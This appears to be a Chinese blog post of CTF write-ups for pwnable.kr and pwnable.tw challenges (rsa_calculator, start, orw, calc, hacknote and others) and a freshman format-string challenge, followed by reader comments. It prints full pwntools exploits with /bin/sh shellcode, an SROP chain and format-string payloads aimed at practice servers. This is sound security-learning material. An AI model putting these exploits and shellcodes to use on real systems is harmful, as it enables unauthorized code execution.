- RSA_encrytp函数内进行encrytp时读入一个字节返回4个字节,最多循环1024次,这会导致返回总长为4096字节,而给定数组仅1024字节,但是返回后是密文,虽然可以精心构造公钥使特定数据覆盖到func表上,但是控制了func表也没有拿shell的方法(可能我没想到),遂思路断掉。
- RSA_decrytp函数内存判断读入大小使用jle而非jbe,如果读入一个负数就能输入任意大小的数据,并且还发现格式化字符串漏洞。于是利用栈溢出+格式化字符串就能拿到shell。
首先利用格式化字符串读取canary和栈地址,再利用栈溢出覆盖返回地址到栈上(NX关闭)执行shellcode
exp如下:
from pwn import *
payload = ''
shellcode ="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
def lanuch_gdb():
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0], execute='b *0x00401238\nc')
def wait(v, send):
p.recvuntil(v)
p.sendline(send)
def set_key():
wait('> ', '1')
wait('p : ', '61')
wait('q : ', '53')
wait('e : ', '1')
wait('d : ', '1')
def decrypt(send):
wait('> ', '3')
rsaEncrpt = '000000'.join(map(lambda c: '%02x' % ord(c), send)) + '000000'
print ('rsa:'+rsaEncrpt)
wait('(max=1024) : ', '-1')
#lanuch_gdb()
wait('encoded data\n', rsaEncrpt)
p.recvuntil('result -\n')
return p.recvline()
def decrypt_raw(send):
wait('> ', '3')
wait('(max=1024) : ', '-1')
#lanuch_gdb()
wait('encoded data\n', send)
p.recvuntil('result -\n')
return p.recvline()
#p = process(['/home/etenal/pwnable.kr/rsa/rsa_calculator'])
p = remote('pwnable.kr', 9012)
set_key()
#读取栈上存在的栈指针计算栈地址
stack_addr = int(decrypt('%33$llx'), 16) - 1216
#读取canary
canary = int(decrypt('%205$llx'), 16)
ret_addr = stack_addr + 1216 + 344
print (hex(canary))
payload += shellcode
payload += 'A'*(1216+344-len(shellcode)-16)
payload += p64(canary)
payload += 'A'*8
payload += p64(stack_addr)
decrypt_raw(payload)
p.interactive()
(一):start
leak栈地址
返回到栈上执行shellcode
exp如下:
from pwn import *
shellcode = ''
shellcode += "\x6a\x0b"
shellcode += "\x58"
shellcode += "\x31\xf6"
shellcode += "\x56"
shellcode += "\x68\x2f\x2f\x73\x68"
shellcode += "\x68\x2f\x62\x69\x6e"
shellcode += "\x89\xe3"
shellcode += "\x31\xc9"
shellcode += "\x89\xca"
shellcode += "\xcd\x80"
p = remote('chall.pwnable.tw',10000)
p.send('A'*20+p32(0x08048087))
p.recvuntil(':')
stack_addr = int(p.recv(4)[::-1].encode('hex'),16)
print hex(stack_addr)
p.sendline('A'*20+p32(stack_addr+20)+shellcode)
p.interactive()
(二):orw
教你写汇编
global _start
[SECTION .text]
_start:
jmp MESSAGE
GOBACK:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor esi, esi
xor edi, edi
mov eax, 5 ;open file
pop ebx
int 0x80
mov ebx, eax
xor eax, eax
mov eax, 3 ;read from file
mov ecx, esp
mov edx, 100 ;count
int 0x80
mov eax, 4 ;write
mov ebx, 1
mov ecx, esp
mov edx, 100 ;count
int 0x80
mov eax, 1 ;exit
int 0x80
MESSAGE:
call GOBACK
db '/home/orw/flag'
编译导出成shellcode,扔进去就能拿到shell
exp如下:
from pwn import *
shellcode = "\xeb\x40\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\xb8\x05\x00"\
"\x00\x00\x5b\xcd\x80\x89\xc3\x31\xc0\xb8\x03\x00\x00\x00\x89\xe1\xba"\
"\x64\x00\x00\x00\xcd\x80\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x89"\
"\xe1\xba\x64\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xcd\x80\xe8\xbb"\
"\xff\xff\xff\x2f\x68\x6f\x6d\x65\x2f\x6f\x72\x77\x2f\x66\x6c\x61\x67\x00"
p = remote('chall.pwnable.tw' ,10001)
#p = process(['/home/etenal/pwnable.tw/orw/orw'])
p.recvuntil(':')
p.sendline(shellcode)
print p.recvall()
(三):calc
难度陡增,此题是一个逻辑漏洞,分析算法后得知
程序使用数组第0位作为索引
计算方式为a[i-1]=a[i-1]+-*/a[i] 没有检查运算符前面是否有数字
这就出现一个逻辑漏洞
如果输入是+1+2+3这种不规则的表达式
在+1中,a[0]位置将被覆盖,而a[0]位置作为索引,就得到一次任意地址写入机会
此题通过构造rop链能拿到shell我将使用srop
exp如下
from pwn import *
def wait(listen,send):
p.recvuntil(listen)
p.sendline(send)
return p.recvline()
def lanuch_gdb():
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
print ('pid:'+str(proc.pidof(p)[0]))
gdb.attach(proc.pidof(p)[0], execute='handle SIGALRM ignore\nb *0x8049378\nc')
#initialize buffer as zero and set ebx as the pointer to '/bin/sh'
def init():
for i in range(446,420,-1):
p.sendline('+'+str(i)+'+1')
for i in range(421,447,1):
if i==433:
p.sendline('+433-' + str(raw_stack_addr) + '+1783-1+1')
else:
p.sendline('+'+str(i)+'-2+1')
context.kernel='i386'
p = remote('chall.pwnable.tw' ,10100)
elf = ELF('/home/etenal/pwnable.tw/calc/calc')
raw_stack_addr = int(wait('tor ===\n','-5'))
stack_addr = 0xffffffff + raw_stack_addr + 1
raw_stack_addr = abs(raw_stack_addr)
print (hex(stack_addr))
init()
#lanuch_gdb()
#make a fake sigreturn frame
p.sendline('+446-'+str(0x68732f)+'+'+str(0x68732f))
p.sendline('+445-'+str(0x6e69622f)+'+'+str(0x6e69622f))
p.sendline('+442-'+str(0x2b)+'+'+str(0x2b))
p.sendline('+439-'+str(0x23)+'+'+str(0x23))
p.sendline('+438-'+str(0x8049a21)+'+'+str(0x8049a21))
p.sendline('+435-'+str(0xb)+'+'+str(0xb))
p.sendline('+423-'+str(0x8049a21)+'+'+str(0x8049a21))
p.sendline('+422-'+str(0x77)+'+'+str(0x77))
p.sendline('+421-'+str(0x805c34b)+'+'+str(0x805c34b))
#change eip
p.sendline('-8-'+str(0x8049432-0x100+0xc)+'+'+str(0x8049432))
p.interactive()
参考资料:
Sigreturn Oriented Programming (SROP) Attack攻击原理
(四):dubblesort
从此题开始不再放exp。
此题很容易发现读入名字处有溢出,但是题目开启了canary,闻讯pz大牛得知使用scanf读入数字时,使用’+-‘等符号能够跳过该次读入,所以在canary处使用’+’号跳过读入保留canary,后续读入保证比canary大,这样排序就不会修改canary地址上的值,libc里发现’/bin/sh’字串正好比system地址大。
所以最终栈结构如下
1 ... 1 /*一共24个1*/ canary system_addr-1 /*一共7个system_addr-1(没记错的话是这么多个)*/ system_addr-1 system_addr system_addr+1 binsh_addr
(五):hacknote
此题是uaf
添加note的结构如下

8字节空间的前4字节用于指向一个输出函数,后4字节指向储存空间。
free后没有置NULL
输出没有验证是否被free
如果free后再次add note,就会使用原先被free的8字节空间,如果输入分配的空间大小也是8字节,还会使用再前一次free掉的8字节空间(如果存在的话),图示如下

free掉原先的2个note,再add一个8字节note,我就得到一个想note0写入任意8字节的机会,把note0八字节前4字节写成system,后四字节写成’/bin/sh’地址?
这样不行,因为printf_note传入的参数是函数本身,也就是system的参数是system本身,并不是’/bin/sh’,此处需使用’;’号分割多条命令,后4字节传入’;sh;’,再执行了前4字节后执行system(‘sh’)就能拿到shell
参考资料:
Linux 连续执行多条命令的方法
(六):sliver bullet
此题漏洞是strncat的特性

strncat会在字符串最后一位加上\x00,而此题这个\x00将覆盖存有length的变量,这样就能控制下次写入的大小,覆盖到ret地址上
此题还需要leak libc的地址,我通过ret到puts的plt,打印出printf的got地址,再返回到libc
在构造rop的时候(如果这算是一个小rop的话)结构如下

利用puts打印出printf地址,继而算出libc基址,puts结束后返回到main函数起始位置,这样重新开始一次程序。
因为这次知道了libc基址,就可以直接返回到libc中执行system。
古老的zz程序
这是杭电的新生赛,一道经典的格式化字符串
#include
#include
#include
#include
#include
#include
void timeout(){
write(1,"timeout!\n",9);
exit(0);
}
void init(){
alarm(30);
signal(SIGALRM,timeout);
}
void menu(){
puts("welcome to my servvvvvvvvvvvvver!!!!!");
puts("here you can:");
puts("1.get time");
puts("2.get flag");
fflush(0);
}
void get_time(){
system("TZ=CST-8 date");
}
void get_flag(){
char buffer[0x100];
puts("give me flag!");
fflush(0);
read(0,buffer,0x100);
printf("ok, flag is ");
printf(buffer);
printf(":)\n");
fflush(0);
}
int main(int argc,char* argv[]){
init();
char select[2];
while(1){
menu();
read(0,&select,2);
switch(atoi(&select)){
case 1:
get_time();
break;
case 2:
get_flag();
break;
default:
printf("???\n");
fflush(0);
}
}
}
可以看到printf直接输出了buffer,整个程序给的运行时间是30s,如果超时会被自动结束。
我的想法是先泄漏出栈地址,在修改ret地址控制eip执行栈上的shellcode
为了泄漏出栈地址,构造
%1$x
修改ret地址
[EIP][EIP+2]%[shellocode地址低二字节]x%7$hn%[shellcode地址高二字节]x%8$hn
至于为什么要分成二字节二字节写入,是爬30s没法跑完4字节数据。
exp如下:
from pwn import *
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"\
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = ''
p = remote('121.42.206.184', 10002)
p.sendline('2')
p.sendline('%1$x')
print (p.recvuntil('ok, flag is '))
cc = p.recv(8)
ret = int(cc, 16)
l = ret - (ret >> 16 << 16) + 32
h = ret >> 16
payload += p32(ret+272) + p32(ret+274) + '%' + str(l) + 'x%7$hn%' + str(h-l-8) + 'x%8$hn\n'
len1 = len(payload)
payload += (40 - len1) * '\x90'
payload += shellcode
p.sendline('2')
p.sendline(payload)
p.interactive()



































16 Comments
Join the discussion and tell us your opinion.
大佬简直厉害,我想问一下,uaf那道题目,是怎样查看到Human::get_shell的地址的呢,用的什么命令啊~~
r2 uaf
aaa
afl
r2是需要装radare2
谢谢大佬~~那其实是把uaf这个可执行文件从pwnable的服务器那边下载到本地再进行分析的吗,我尝试用scp命令下载文件,但总是报错,还有什么其他办法把uaf可执行文件从服务器上下载到本地吗~~
scp -P 22 远程用户名@远程路径 本地用户名@本地路径
终于试成功啦,简直开心,谢谢大佬~~
大佬,SROP那道题目,怎么确定那个Signal Frame的地址,我在time函数下断点,但是没有断到,很奇怪,明明显示超时了
已经不太记得题目了
大佬为啥不更新啦,一直跟着你的解题思路做,大佬真厉害
暂时去忙别的事了
memcpy那题有点思路貌似有点问题,movntps字节边界是16字节对齐的,也就是操作数的地址以0为结尾,例如0x123450这样的就可以,所以只要构造每次malloc的返回地址是这样的就可以了我觉得,测试也是可以的。
嗯嗯,已经不太记得题目了,不过测试可以那你肯定是对的
memcpy那道题 ,按照文档说的留16/32字节的边界都是对的。
想请问一下大神,为什么留12字节也是可以正常运行的?
12,28,44,124,252,508,1020,2044,4092,8188
这一组数字也是可行的
我测试得到第一组数据貌似无关痛痒,只用保证后面的数据是16字节的间隔就能成功
success 15,92
success 15,128
success 15,130
success 15,131
success 15,192
success 15,193
这几个组合都可以的,我是暴破的
get,赶紧去研究研究
memcpy那道题写错了,第二个数字不是50而是20